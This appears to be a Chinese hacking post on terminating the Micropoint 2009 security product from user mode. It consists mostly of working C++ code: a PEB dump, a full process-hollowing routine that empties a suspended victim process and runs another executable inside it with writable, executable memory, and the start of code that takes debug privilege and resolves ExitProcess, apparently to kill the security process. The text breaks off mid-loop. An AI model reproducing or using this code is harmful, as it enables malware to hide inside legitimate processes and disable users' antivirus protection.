Ring3下WX方法结束微点2009

lkd> dt _peb
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void            //映像基址
... ...

BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize;    //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,
"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));   
memset(&pi, 0, sizeof(pi)); 
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ|
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );    
::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//检查PE结构
//以挂起方式进程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,
NULL,&si,&pi); 

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果调用失败
{
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof
(unsigned long),NULL);
if (!BaseAddr)
{
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess, 
   (void *)NtHeader.OptionalHeader.ImageBase,
   NtHeader.OptionalHeader.SizeOfImage, 
   MEM_RESERVE|MEM_COMMIT, 
   PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
   DWORD wrongFlag = GetLastError();
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return FALSE;
} 
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.
SizeOfHeaders, &retByte))
{
   DWORD wrongFlag2 = GetLastError(); 
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
   //定位到各个区块
   ::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],
sizeof(IMAGE_SECTION_HEADER));
   WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.
VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
   VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.
VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8), 
   &ImageBase,   //4194304
   4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile); 
delete[] pBuf;
return TRUE;
}

EnableDebugPriv(_T("SeDebugPrivilege"));
HMODULE hModule = GetModuleHandle("kernel32.dll");
unsigned long FunAddr = (unsigned long)GetProcAddress(hModule,"ExitProcess");
for (int i=0;i